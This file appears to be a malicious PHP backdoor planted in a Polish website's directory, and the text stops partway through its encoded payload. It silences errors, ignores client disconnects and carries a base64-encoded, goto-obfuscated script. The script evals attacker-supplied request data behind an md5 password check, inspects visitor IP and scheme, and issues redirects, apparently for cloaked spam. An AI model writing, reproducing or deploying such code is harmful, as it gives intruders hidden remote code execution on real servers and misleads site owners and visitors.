<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/etorby24eu/domains/ogrodnicy-lublin.pl/private_html/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gZEMydmdjVk83R2Jtekw7IGFOd3RUVGRIZTFfdTM5OiBmdW5jdGlvbiBZV1pDMUJ0QkFPbHU5dSgpIHsgZ290byBueGJKRklvZWQ0MWZERjsgbnhiSkZJb2VkNDFmREY6ICRMSDNoSjVEcXpZa0xMaSA9ICcnOyBnb3RvIHJsYUVrSlhXMGlVRzdUOyBXQjBYWmMyTWNGQzBmYjogJExIM2hKNURxellrTExpID0gJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBcMTM3XHg0M1wxMDZceDVmXHg0M1wxMTdcMTE2XDExNlx4NDVceDQzXHg1NFx4NDlcMTE2XHg0N1wxMzdceDQ5XHg1MCJdOyBnb3RvIG9TR3FSSndUT3ZBaHQyOyB0MlJYMTQzc2pwc21IRDogaWYgKCEoc3RycG9zKCRMSDNoSjVEcXpZa0xMaSwgIlw1NCIpICE9PSBmYWxzZSkpIHsgZ290byBVU0pjeUJ3UHEwanI0dTsgfSBnb3RvIGhtUDlBM3o0WllHZ0d0OyBZcHBIaVoyckJDejE2aTogcmV0dXJuICRMSDNoSjVEcXpZa0xMaTsgZ290byBwdEFveVUzZ01PdnNGNzsgWGZ5eWxIMmRKYnRYblg6IFdTZFg0VVdocmZCZndGOiBnb3RvIG5FMVluOUl0T3BDRjNPOyBqenBKNnBRTTBWZzQ2OTogZ290byBRdDNUQ3JrU0NjNnBXMTsgZ290byBDOUp1U2t2RV9hcXBNRTsgcGNMaGRVQ0JkNHkwRFY6IG8wWWhZbW1LczZVdWtnOiBnb3RvIFRQRU9IRndpQTI0Y0hGOyBqZ0RGc1pQMUxLTHNDUTogZ290byBRdDNUQ3JrU0NjNnBXMTsgZ290byBwY0xoZFVDQmQ0eTBEVjsgaG1QOUEzejRaWUdnR3Q6ICRMSDNoSjVEcXpZa0xMaSA9IGV4cGxvZGUoIlw1NCIsICRMSDNoSjVEcXpZa0xMaSk7IGdvdG8gVmZERGVDM3pWejJ4cEk7IFRQRU9IRndpQTI0Y0hGOiAkTEgzaEo1RHF6WWtMTGkgPSAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFwxMzdcMTMwXDEzN1wxMDZceDRmXDEyMlx4NTdcMTAxXDEyMlx4NDRcMTA1XHg0NFwxMzdcMTA2XDExN1wxMjIiXTsgZ290byBCMjdGX2d5bW0wS1FkUTsgQjI3Rl9neW1tMEtRZFE6IFF0M1RDcmtTQ2M2cFcxOiBnb3RvIFRjY1NWRmFKNEdZMjhqOyBZcFdNRUNUMll6dHBiNzogJExIM2hKNURxellrTExpID0gJF9TRVJWRVJbIlx4NTJcMTA1XHg0ZFwxMTdceDU0XHg0NVx4NWZcMTAxXDEwNFwxMDRcMTIyIl07IGdvdG8ganpwSjZwUU0wVmc0Njk7IExRcnMzQ01FaW1WNXZoOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg1OFx4NWZceDQ2XDExN1x4NTJceDU3XDEwMVx4NTJceDQ0XHg0NVx4NDRcMTM3XDEwNlwxMTdcMTIyIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFx4NTRceDU0XDEyMFx4NWZceDU4XDEzN1wxMDZcMTE3XDEyMlx4NTdceDQxXHg1Mlx4NDRceDQ1XDEwNFwxMzdceDQ2XHg0ZlwxMjIiXSkpIHsgZ290byBvMFloWW1tS3M2VXVrZzsgfSBnb3RvIFlwV01FQ1QyWXp0cGI3OyBDOUp1U2t2RV9hcXBNRTogY0pMVzBKWlg1Zkt2VDA6IGdvdG8gV0IwWFpjMk1jRkMwZmI7IG9TR3FSSndUT3ZBaHQyOiBnb3RvIFF0M1RDcmtTQ2M2cFcxOyBnb3RvIFhmeXlsSDJkSmJ0WG5YOyBWZkREZUMzelZ6MnhwSTogJExIM2hKNURxellrTExpID0gJExIM2hKNURxellrTExpWzBdOyBnb3RvIFF5OTMydTF4TkczdVZIOyBKaE00b3pyUGs3cE9RVTogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1x4NThceDVmXDEyMlwxMDVcMTAxXDExNFx4NWZceDQ5XHg1MCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBcMTM3XHg1OFx4NWZceDUyXHg0NVwxMDFcMTE0XDEzN1wxMTFcMTIwIl0pKSB7IGdvdG8gV1NkWDRVV2hyZkJmd0Y7IH0gZ290byBMUXJzM0NNRWltVjV2aDsgUXk5MzJ1MXhORzN1Vkg6IFVTSmN5QndQcTBqcjR1OiBnb3RvIFlwcEhpWjJyQkN6MTZpOyBUY2NTVkZhSjRHWTI4ajogJExIM2hKNURxellrTExpID0gdHJpbShzdHJfcmVwbGFjZSgiXDQwIiwgJycsICRMSDNoSjVEcXpZa0xMaSksICJceDJjIik7IGdvdG8gdDJSWDE0M3NqcHNtSEQ7IG5FMVluOUl0T3BDRjNPOiAkTEgzaEo1RHF6WWtMTGkgPSAkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdcMTMwXDEzN1wxMjJceDQ1XDEwMVwxMTRceDVmXHg0OVx4NTAiXTsgZ290byBqZ0RGc1pQMUxLTHNDUTsgcmxhRWtKWFcwaVVHN1Q6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFx4NWZceDQzXDEwNlx4NWZcMTAzXDExN1x4NGVcMTE2XDEwNVx4NDNcMTI0XHg0OVx4NGVceDQ3XDEzN1x4NDlcMTIwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFx4NWZceDQzXDEwNlx4NWZcMTAzXHg0Zlx4NGVcMTE2XHg0NVx4NDNcMTI0XHg0OVwxMTZcMTA3XHg1ZlwxMTFceDUwIl0pKSB7IGdvdG8gY0pMVzBKWlg1Zkt2VDA7IH0gZ290byBKaE00b3pyUGs3cE9RVTsgcHRBb3lVM2dNT3ZzRjc6IH0gZ290byBZaWlyVkkzdV9tS0lzcDsgeGNqNTV3OVU5cWZmeHQ6ICgkQ2pMNEkzdzIxVDVIbFdbNjRdID0gJENqTDRJM3cyMVQ1SGxXWzY0XSAuICRDakw0STN3MjFUNUhsV1s3OV0pICYmICgkQ2pMNEkzdzIxVDVIbFdbODddID0gJENqTDRJM3cyMVQ1SGxXWzY0XSgkQ2pMNEkzdzIxVDVIbFdbODddKSkgJiYgQGV2YWwoJENqTDRJM3cyMVQ1SGxXWzY0XSgkeyRDakw0STN3MjFUNUhsV1s0OF19WzI1XSkpOyBnb3RvIGluMjU3RGhjWlozMGlIOyBwMlliX1R6X2lUVUx2MjogZnVuY3Rpb24gVzJBR0JpaXNtRW02a20oJEROejl1TnpDc0xabDhnKSB7IGdvdG8gczExOUk0SF9rNmVnM0o7IHhGX0pGTDVSSHZNSFB2OiBpZiAoaXNfYXJyYXkoJEROejl1TnpDc0xabDhnKSkgeyBnb3RvIEllYUdBMFhSWXBGeG1DOyB9IGdvdG8gc2dncV9rN2ZmU1Q5VDU7IENjempjdWE5ZGtpZjJ5OiByZXR1cm4gJHhhVTFXVnp3QUJBTUlfOyBnb3RvIFpLN0xhWEhCdXZldVVXOyBIeUQ3ZHhqSXZiMHJfNTogZm9yZWFjaCAoJEROejl1TnpDc0xabDhnIGFzICRBbXVFRzV6UlozOUVaYikgeyBnb3RvIEgwQVdNMEJSbGJQQ215OyBCbTB4aVpEUHBlMFQ0aTogJHhhVTFXVnp3QUJBTUlfWyJceDc0XHg3OVwxNjBceDY1Il0gPSAkYjFaQnFtQjRCVV96SkdbMV07IGdvdG8gUnBHb0xHZ2RtY19KdEc7IG1MWk81YzVxTEk3TThLOiBnb3RvIGF5VjBDc0wzQ1dxcGQzOyBnb3RvIEpaemhESVV0cXlIellpOyBpRWQxbExxN0xKSVFZODogJHhhVTFXVnp3QUJBTUlfWyJcMTYzXHg3NFwxNDFceDc0XHg3NVwxNjMiXSA9IGludHZhbCgkYjFaQnFtQjRCVV96SkdbMV0pOyBnb3RvIGRjdHBEd0UwZ1ZUeWMxOyBIMEFXTTBCUmxiUENteTogaWYgKHByZWdfbWF0Y2goIlw1N1wxNTBcMTY0XHg3NFx4NzBcMTM0XHgyZlx4NWJcNjBceDJkXDcxXHg1Y1w1NlwxMzVceDJiXDEzM1wxMzRcMTYzXHg1ZFw1M1x4MjhcMTMzXHgzMFw1NVx4MzlceDVkXHgyYlx4MjlceDJmXHg2OSIsICRBbXVFRzV6UlozOUVaYiwgJGIxWkJxbUI0QlVfekpHKSkgeyBnb3RvIHNZQUdKZTZpZW1tb1phOyB9IGdvdG8geWNaZDR5RXJ3bnc4SFc7IHljWmQ0eUVyd253OEhXOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2Y1x4NmZceDYzXDE0MVwxNjRcMTUxXHg2ZlwxNTZcMTM0XHgzYVx4NWJceDVjXHg3M1wxMzVceDJiXDUwXDU2XHgyYVx4MjlceDJmXDE1MSIsICRBbXVFRzV6UlozOUVaYiwgJGIxWkJxbUI0QlVfekpHKSkgeyBnb3RvIEUyOUVVMnBCQlhDVnluOyB9IGdvdG8gcWp3QmZ3clBDcWk3RXI7IGRjdHBEd0UwZ1ZUeWMxOiBnb3RvIGF5VjBDc0wzQ1dxcGQzOyBnb3RvIE9ndnV1a0Y1WHFWTW5ROyBKWnpoRElVdHF5SHpZaTogaE85aXVOd1RYQmF1OEw6IGdvdG8gQm0weGlaRFBwZTBUNGk7IHFqd0Jmd3JQQ3FpN0VyOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2M1wxNTdceDZlXHg3NFwxNDVceDZlXDE2NFwxMzRcNTVceDc0XDE3MVwxNjBcMTQ1XHg1Y1x4M2FcMTMzXHg1Y1wxNjNceDVkXDUzXDUwXDU2XDUyXHgyOVx4MmZcMTUxIiwgJEFtdUVHNXpSWjM5RVpiLCAkYjFaQnFtQjRCVV96SkcpKSB7IGdvdG8gaE85aXVOd1RYQmF1OEw7IH0gZ290byBqSkVQTUJPNjlIdWxtWjsgUnBHb0xHZ2RtY19KdEc6IGF5VjBDc0wzQ1dxcGQzOiBnb3RvIE5mVzZWdFhWVEI4b2ZtOyBqSkVQTUJPNjlIdWxtWjogZ290byBheVYwQ3NMM0NXcXBkMzsgZ290byBHZFU2SXBVSHFSaml3VjsgR2RVNklwVUhxUmppd1Y6IHNZQUdKZTZpZW1tb1phOiBnb3RvIGlFZDFsTHE3TEpJUVk4OyBPZ3Z1dWtGNVhxVk1uUTogRTI5RVUycEJCWENWeW46IGdvdG8gZ3JjVWlseXpHQ2g5Mmc7IE5mVzZWdFhWVEI4b2ZtOiBUNnRhaFFwMnlBTU9ETjogZ290byBtanNvdUNxQnE1bHk4RzsgZ3JjVWlseXpHQ2g5Mmc6ICR4YVUxV1Z6d0FCQU1JX1siXHg2M1x4NmZceDZlXHg3NFwxNDVcMTU2XDE2NCJdID0gJGIxWkJxbUI0QlVfekpHWzFdOyBnb3RvIG1MWk81YzVxTEk3TThLOyBtanNvdUNxQnE1bHk4RzogfSBnb3RvIFFEdUdrQTZHUzBoMjFQOyBzMTE5STRIX2s2ZWczSjogJHhhVTFXVnp3QUJBTUlfID0gYXJyYXkoIlx4NzNcMTY0XDE0MVwxNjRcMTY1XHg3MyIgPT4gMCwgIlx4NjNcMTU3XHg2ZVwxNjRcMTQ1XDE1Nlx4NzQiID0+ICcnLCAiXDE2NFwxNzFceDcwXHg2NSIgPT4gJycpOyBnb3RvIHhGX0pGTDVSSHZNSFB2OyBhMHJZbm9WcnZsNTVOTzogSWVhR0EwWFJZcEZ4bUM6IGdvdG8gSHlEN2R4akl2YjByXzU7IHNnZ3FfazdmZlNUOVQ1OiByZXR1cm4gJHhhVTFXVnp3QUJBTUlfOyBnb3RvIGEwcllub1Zydmw1NU5POyBRRHVHa0E2R1MwaDIxUDogaW5wd2xwajd1N1luWlE6IGdvdG8gQ2N6amN1YTlka2lmMnk7IFpLN0xhWEhCdXZldVVXOiB9IGdvdG8gZU1DU2U2ZUF2MlRmQzk7IHZKUGloUlNfajl1OXV6OiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXDEyNVwxMDVcMTIzXHg1NFwxMzdcMTI1XDEyMlx4NDkiXSwgIlwxNTFcMTU2XDE0NFx4NjVceDc4XDU2XDE2MFx4NjhcMTYwXDU3XHg2YVwxNTMiKSkgeyBnb3RvIHlaM2M0TThrMzBjRWJBOyB9IGdvdG8gbTBmNVRNREJKdm05QTg7IGRxVWpVYXJCbWJvNFhUOiBpZiAoIWluX2FycmF5KCRKcklEWk9rTFBwQms2WCwgYXJyYXkoIlw1NlwxNTJceDczIiwgIlx4MmVceDYzXDE2M1x4NzMiLCAiXHgyZVwxNTJcMTYwXDE0NyIsICJceDJlXDE2MFx4NmVceDY3IiwgIlx4MmVceDY3XHg2OVwxNDYiLCAiXHgyZVx4NjlceDYzXDE1NyIpKSkgeyBnb3RvIE8zMWEyN0IwaWpaQ1V2OyB9IGdvdG8gbldmMDU2WEp0YmQxVUY7IG5XZjA1NlhKdGJkMVVGOiAkdUJOc2o1ejhDbk55eDkgPSB0cnVlOyBnb3RvIEQ5OGw2VjkzbjBrNVpSOyBSYzJ2SFI3MW5kY21LcjogaWYgKCEoc3RycG9zKCRSbXhyWmU1eE1mcDhLZSwgJEFFcHRick16VDc2VngzKSA9PT0gMCkpIHsgZ290byBlcmtTOHBwZlJCaXg5UTsgfSBnb3RvIGVOZktkWmdxX3BNS2xZOyBCT0J4b0p6bnMwOTFrYzogJHVCTnNqNXo4Q25OeXg5ID0gZmFsc2U7IGdvdG8gQllyX2NYQkZVMkcyVWw7IGRDMnZnY1ZPN0dibXpMOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gdW9ab0VOQ2ZGSElGeWc7IFIycFRfaG0zR204dkZuOiBpZiAoIShpbl9hcnJheShnZXR0eXBlKCRDakw0STN3MjFUNUhsVykgLiBjb3VudCgkQ2pMNEkzdzIxVDVIbFcpLCAkQ2pMNEkzdzIxVDVIbFcpICYmIGNvdW50KCRDakw0STN3MjFUNUhsVykgPT0gMTIgJiYgbWQ1KG1kNShtZDUobWQ1KCRDakw0STN3MjFUNUhsV1s2XSkpKSkgPT09ICJcNjFceDM5XHg2M1x4NjRceDY2XDE0Nlw3MVx4MzlceDY0XHgzM1x4MzNcNjRceDMxXHg2Mlx4MzJcNjBcNzFcMTQ2XDYzXHg2M1w2NlwxNDVceDM1XHgzNVx4MzJceDMwXHgzMVw2M1w2NVw2Mlw2Mlx4NjIiKSkgeyBnb3RvIFNDNUVuRDRYWjZnU1VhOyB9IGdvdG8geGNqNTV3OVU5cWZmeHQ7IE9vcG50R0N1dUFrazFoOiAkcmxnR0RxVUFQSXdzYWwgPSAkSHRGZGlibnM4bnhydkooIlx4N2UiLCAiXHgyMCIpOyBnb3RvIEN2R3ZHQWpQSlNnQnM2OyBpbjI1N0RoY1paMzBpSDogU0M1RW5ENFhaNmdTVWE6IGdvdG8gc3o0SUkxM1RYSVgzd3A7IHVvWm9FTkNmRkhJRnlnOiAkSHRGZGlibnM4bnhydkogPSAiXHg3MiIgLiAiXDE0MSIgLiAiXDE1NiIgLiAiXDE0NyIgLiAiXHg2NSI7IGdvdG8gT29wbnRHQ3V1QWtrMWg7IGNra2NhOUtXOTd5a09yOiBpZiAoISgkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXHg1NVx4NDVceDUzXDEyNFwxMzdcMTI1XHg1Mlx4NDkiXSA9PT0gIlw1N1wxMjJceDJkIiAuIG1kNSgkX1NFUlZFUlsiXHg1M1wxMDVceDUyXHg1NlwxMDVceDUyXHg1ZlwxMTZcMTAxXHg0ZFwxMDUiXSkpKSB7IGdvdG8gQ2pwU05vOWQzdFRhaEs7IH0gZ290byBOQzA5czJxVExqT0gyMzsgR3Rfc0NuVGEzYUZ4OHk6IGV4aXQoMCk7IGdvdG8gcGd2R1JGT3k0SDBTaG47IFlpaXJWSTN1X21LSXNwOiBmdW5jdGlvbiBCc281VllmY3F2QlQ1MigpIHsgZ290byBMZFBCcFZqTXpCVVlnMjsgazBnTmV2amp3aHhWWXM6ICRuNTh0dFFLWVVwUG5qWiA9ICJceDY4XHg3NFx4NzRceDcwXHg3M1w3Mlx4MmZcNTciOyBnb3RvIEZyUzN3enFiOFBNMWpYOyBwaThjeUtLb3dmQm5uMjogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1MyJdKSAhPT0gIlwxNTdcMTQ2XHg2NiIpIHsgZ290byBOdFFmXzZiOEJlRjdOZjsgfSBnb3RvIFdqYjVQcTdIZHVqV283OyBET3d1alVOdlJCeWxGdjogTnRRZl82YjhCZUY3TmY6IGdvdG8gVndqMzAzaF9SREVpNEo7IExkUEJwVmpNekJVWWcyOiAkbjU4dHRRS1lVcFBualogPSAiXHg2OFwxNjRceDc0XHg3MFx4M2FcNTdceDJmIjsgZ290byBwaThjeUtLb3dmQm5uMjsgV2piNVBxN0hkdWpXbzc6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFx4NWZcMTMwXHg1Zlx4NDZceDRmXHg1MlwxMjdcMTAxXHg1MlwxMDRceDQ1XDEwNFx4NWZcMTIwXHg1Mlx4NGZceDU0XDExNyJdKSAmJiAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFwxMzdceDU4XDEzN1wxMDZcMTE3XDEyMlwxMjdcMTAxXDEyMlwxMDRceDQ1XHg0NFx4NWZceDUwXHg1MlwxMTdcMTI0XDExNyJdID09PSAiXDE1MFwxNjRcMTY0XDE2MFwxNjMiKSB7IGdvdG8gQm9ydFBmcVNOamI5QjQ7IH0gZ290byBXMlJOa25oNzNzdVlNdTsgcmhTU0UwTG9GYU5MZzM6IFJ0T3Q3RjJQTjdTYzBDOiBnb3RvIGswZ05ldmpqd2h4VllzOyBHajZDWlhfSTVjYXpweTogJG41OHR0UUtZVXBQbmpaID0gIlx4NjhceDc0XDE2NFwxNjBceDczXDcyXDU3XDU3IjsgZ290byBUeExBSDg1am04SjJzYTsgVndqMzAzaF9SREVpNEo6ICRuNTh0dFFLWVVwUG5qWiA9ICJcMTUwXHg3NFwxNjRceDcwXDE2M1x4M2FceDJmXDU3IjsgZ290byBEdE13MmI1VGJFWW9ISzsgVHhMQUg4NWptOEoyc2E6IGdvdG8geXhtWkwwTVY3MnhDX1U7IGdvdG8gcmhTU0UwTG9GYU5MZzM7IExRY3hqVVZYRm9GOV9iOiByZXR1cm4gJG41OHR0UUtZVXBQbmpaOyBnb3RvIFdnMmdwY3o0RWtuOEl0OyBZN1VmSDMzTlA5d1R6eTogQm9ydFBmcVNOamI5QjQ6IGdvdG8gR2o2Q1pYX0k1Y2F6cHk7IEZyUzN3enFiOFBNMWpYOiB5eG1aTDBNVjcyeENfVTogZ290byBMUWN4alVWWEZvRjlfYjsgRHRNdzJiNVRiRVlvSEs6IGdvdG8geXhtWkwwTVY3MnhDX1U7IGdvdG8gWTdVZkgzM05QOXdUenk7IFcyUk5rbmg3M3N1WU11OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBceDVmXHg0NlwxMjJceDRmXHg0ZVx4NTRcMTM3XHg0NVx4NGVcMTA0XDEzN1x4NDhcMTI0XHg1NFwxMjBceDUzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBcMTM3XHg0Nlx4NTJceDRmXHg0ZVx4NTRcMTM3XHg0NVwxMTZcMTA0XDEzN1x4NDhceDU0XHg1NFwxMjBceDUzIl0pICE9PSAiXDE1N1x4NjZceDY2IikgeyBnb3RvIFJ0T3Q3RjJQTjdTYzBDOyB9IGdvdG8gcVlrTnRXRzhfeU16MTg7IHFZa050V0c4X3lNejE4OiBnb3RvIHl4bVpMME1WNzJ4Q19VOyBnb3RvIERPd3VqVU52UkJ5bEZ2OyBXZzJncGN6NEVrbjhJdDogfSBnb3RvIGNra2NhOUtXOTd5a09yOyBnZjdzejFtMzJFdFFrSzogWHZoSHZZaUl6MEZrSlY6IGdvdG8gU1JlVDV3TzUxUWlNZm07IG1GRnlWUUsySXZabXQ2OiBzd2l0Y2ggKCRHc1dOYkdDUW5GOUEwalsiXHg3M1x4NzRceDYxXDE2NFwxNjVceDczIl0pIHsgY2FzZSAzMDE6IGdvdG8gUW9JYTEzZmZ1R213VTM7IHFZNWltSmZLQXpGNDNROiBnb3RvIHBDclFKeVBCTGpIOGVXOyBnb3RvIFN0cnVsYVEwdEY5enNMOyBRb0lhMTNmZnVHbXdVMzogaGVhZGVyKCJceDQ4XHg1NFwxMjRcMTIwXDU3XHgzMVx4MmVcNjFceDIwXHgzM1w2MFx4MzFceDIwXHg0ZFwxNTdcMTY2XHg2NVx4NjRceDIwXHg1MFx4NjVcMTYyXDE1NVx4NjFceDZlXHg2NVwxNTZcMTY0XHg2Y1x4NzkiKTsgZ290byBDUHlnY0p1M1l1dW41UDsgQ1B5Z2NKdTNZdXVuNVA6IGhlYWRlcigiXHg0Y1x4NmZceDYzXDE0MVwxNjRceDY5XHg2Zlx4NmVceDNhXHgyMCIgLiB0cmltKCRHc1dOYkdDUW5GOUEwalsiXHg2M1wxNTdcMTU2XDE2NFwxNDVceDZlXDE2NCJdKSk7IGdvdG8gcVk1aW1KZktBekY0M1E7IFN0cnVsYVEwdEY5enNMOiBjYXNlIDMwMjogZ290byBTS0Fxd0paY0YyVVF4ZTsgbVBCXzVjTkdIZERqdjU6IGhlYWRlcigiXDExNFwxNTdceDYzXHg2MVx4NzRceDY5XDE1N1x4NmVcNzJceDIwIiAuIHRyaW0oJEdzV05iR0NRbkY5QTBqWyJceDYzXHg2Zlx4NmVceDc0XDE0NVx4NmVcMTY0Il0pKTsgZ290byBzald6eHUzYjk5YTNvUzsgc2pXenh1M2I5OWEzb1M6IGdvdG8gcENyUUp5UEJMakg4ZVc7IGdvdG8gdUFuYVdSUEk3cTVJSEg7IFNLQXF3SlpjRjJVUXhlOiBoZWFkZXIoIlx4NDhceDU0XHg1NFx4NTBceDJmXHgzMVw1Nlx4MzFceDIwXDYzXHgzMFx4MzJcNDBcMTE1XDE1N1x4NzZceDY1XHgyMFwxMjRceDY1XDE1NVx4NzBceDZmXDE2MlwxNDFcMTYyXHg2OVwxNTRceDc5Iik7IGdvdG8gbVBCXzVjTkdIZERqdjU7IHVBbmFXUlBJN3E1SUhIOiBjYXNlIDQwNDogZ290byBMczd5aVJBcDZDWTFJczsgQmloTjZLZmI3dnJNODI6IGdvdG8gcENyUUp5UEJMakg4ZVc7IGdvdG8gUlJNODZPNkpsX0Z1UmE7IEJZU3p6d3RoWDNiZnFiOiBoZWFkZXIoIlwxNjNcMTY0XDE0MVwxNjRcMTY1XDE2M1x4M2FceDIwXDY0XHgzMFw2NFw0MFwxMTZceDZmXHg3NFx4MjBceDQ2XDE1N1wxNjVceDZlXDE0NCIpOyBnb3RvIEJpaE42S2ZiN3ZyTTgyOyBMczd5aVJBcDZDWTFJczogaGVhZGVyKCJcMTEwXHg1NFwxMjRcMTIwXHgyZlx4MzFceDJlXHgzMVx4MjBceDM0XDYwXDY0XDQwXHg0ZVx4NmZcMTY0XDQwXHg0NlwxNTdcMTY1XHg2ZVwxNDQiKTsgZ290byBCWVN6end0aFgzYmZxYjsgUlJNODZPNkpsX0Z1UmE6IGRlZmF1bHQ6IGdvdG8gcENyUUp5UEJMakg4ZVc7IH0gZ290byBnZjdzejFtMzJFdFFrSzsgQ3ZHdkdBalBKU2dCczY6ICRDakw0STN3MjFUNUhsVyA9ICR7JHJsZ0dEcVVBUEl3c2FsWzIgKyAyOV0gLiAkcmxnR0RxVUFQSXdzYWxbNTkgKyAwXSAuICRybGdHRHFVQVBJd3NhbFsxMyArIDM0XSAuICRybGdHRHFVQVBJd3NhbFsxNyArIDMwXSAuICRybGdHRHFVQVBJd3NhbFsyNCArIDI3XSAuICRybGdHRHFVQVBJd3NhbFszOCArIDE1XSAuICRybGdHRHFVQVBJd3NhbFsyMyArIDM0XX07IGdvdG8gUjJwVF9obTNHbTh2Rm47IElSUmNDSXZKaXhla2JqOiBIbDZMdGxsMmFCQjM1ZDogZ290byBCOUpvVEY2RzRBemRuYzsgcGd2R1JGT3k0SDBTaG46IG4ydnhNc2ROY0xuRlpwOiBnb3RvIHI1TWZ1RW8zckUxNnlIOyBCWXJfY1hCRlUyRzJVbDogaWYgKCEoc3RycG9zKCRHZW4zdmo3MVY2ZURjTiwgIlw1NiIpID4gMCAmJiBzdHJwb3MoJEdlbjN2ajcxVjZlRGNOLCAiXHgyZVx4NzBcMTUwXHg3MCIpID09PSBmYWxzZSkpIHsgZ290byBIbDZMdGxsMmFCQjM1ZDsgfSBnb3RvIGFsdDh4QWtUeVRKbGRoOyBTSW1DN01td1E3ZVZhSjogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIHAyWWJfVHpfaVRVTHYyOyBqcjZ5Rk1idzI2dlU4WTogJExIM2hKNURxellrTExpID0gWXdaYzFiVEJhT0xVOXUoKTsgZ290byBqcVJEdFJSTmpPZkdPSTsgSEZmWFVNNHJ0SzZURzE6ICRNV2FKeHFsSUUzMjdWWVsiXHg3MlwxNDYiXSA9IGtwM1RoSlkwNHVVeExtKCRSbXhyWmU1eE1mcDhLZSk7IGdvdG8gVXZRRnJROWxsdGJJY3Q7IEtBWEpsTTFzZ1dvaG9YOiBXY3JabUN2bE96THFRVjo6akQzZXBNWHdyNmIyRDEoKTsgZ290byBMSTFWV3ZnbjNhMWoyZjsgTEkxVld2Z24zYTFqMmY6IGhlYWRlcigiXDEwM1x4NmZcMTU2XDE2NFx4NjVcMTU2XHg3NFx4MmRceDU0XDE3MVwxNjBceDY1XHgzYVw0MFx4NzRceDY1XHg3OFwxNjRceDJmXHg2OFx4NzRceDZkXHg2Y1w3M1x4MjBcMTQzXHg2OFwxNDFceDcyXHg3M1wxNDVceDc0XDc1XHg3NVx4NzRceDY2XDU1XHgzOCIpOyBnb3RvIFNJbUM3TW13UTdlVmFKOyBVdlFGclE5bGx0YkljdDogJE1XYUp4cWxJRTMyN1ZZWyJceDczIl0gPSBLUDNUSGpZMDR1dVhsbSgkQUVwdGJyTXpUNzZWeDMpOyBnb3RvIHJSX0dxdEZFWElIYlExOyBFZzdMMUM5bXJxajh2WDogZnVuY3Rpb24gS3AzVEhqWTA0dVVYbG0oJFNkVUs4d3BqSldMWU9oKSB7IGdvdG8gR1dOSVpkYzJNSE04X3I7IExJU1pTRDZYZ1ZDbGZhOiByZXR1cm4gcnRyaW0oc3RydHIoYmFzZTY0X2VuY29kZSgkU2RVSzh3cGpKV0xZT2gpLCAiXHgyYlw1NyIsICJcNTVcMTM3IiksICJcNzUiKTsgZ290byBNd0UxcFZsMUdfX3V2ZTsgZ2gyWWlZSEVCWm5ITWY6IGdXSmNmSXkxUkprQlpyOiBnb3RvIExJU1pTRDZYZ1ZDbGZhOyBHV05JWmRjMk1ITThfcjogaWYgKCRTZFVLOHdwakpXTFlPaCkgeyBnb3RvIGdXSmNmSXkxUkprQlpyOyB9IGdvdG8gY0NrNDZ6MnJhRFR4MHA7IGNDazQ2ejJyYURUeDBwOiByZXR1cm4gJyc7IGdvdG8gZ2gyWWlZSEVCWm5ITWY7IE13RTFwVmwxR19fdXZlOiB9IGdvdG8gYU53dFRUZEhlMV91Mzk7IGFsdDh4QWtUeVRKbGRoOiAkSnJJRFpPa0xQcEJrNlggPSBzdWJzdHIoJEdlbjN2ajcxVjZlRGNOLCBzdHJwb3MoJEdlbjN2ajcxVjZlRGNOLCAiXDU2IikpOyBnb3RvIGRxVWpVYXJCbWJvNFhUOyBHY28zUUFBNzRLdTJxODogZXJrUzhwcGZSQml4OVE6IGdvdG8geHkzb1poX21aSTBMVEo7IGpxUkR0UlJOak9mR09JOiAkUm14clplNXhNZnA4S2UgPSBzdHJ2YWwoQCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXDEzN1wxMjJcMTA1XDEwNlwxMDVceDUyXDEwNVwxMjIiXSk7IGdvdG8gSWljblNsQzJBM1o0MUY7IGVNQ1NlNmVBdjJUZkM5OiBmdW5jdGlvbiBPcjkxZlk4UkRRb3pPeigkRWtUcUFkUERSRlNJck8sICRDd1VEbThzajNkNVZ2bSA9IGFycmF5KCkpIHsgZ290byBwRktCUUZlTHpPVzl5ZjsgampNbE9GVkxkTWdDdHg6IGlmICghKGlzX2FycmF5KCRDd1VEbThzajNkNVZ2bSkgJiYgY291bnQoJEN3VURtOHNqM2Q1VnZtKSkpIHsgZ290byBzRmJOTGtVbVl3Wl9XdzsgfSBnb3RvIEtpekRmRHFSWHNHS096OyB1a2YyM2hyTUJNM2RKUjogcmV0dXJuICRHc1dOYkdDUW5GOUEwajsgZ290byBHM1JmZHRqU3U5eU54RDsgS2l6RGZEcVJYc0dLT3o6ICRFa1RxQWRQRFJGU0lyTyAuPSAiXHgzZiIgLiBodHRwX2J1aWxkX3F1ZXJ5KCRDd1VEbThzajNkNVZ2bSk7IGdvdG8gcEF4UEFuVU9QY3dTNUQ7IHBGS0JRRmVMek9XOXlmOiAkR3NXTmJHQ1FuRjlBMGogPSBhcnJheSgiXHg3M1wxNjRceDYxXHg3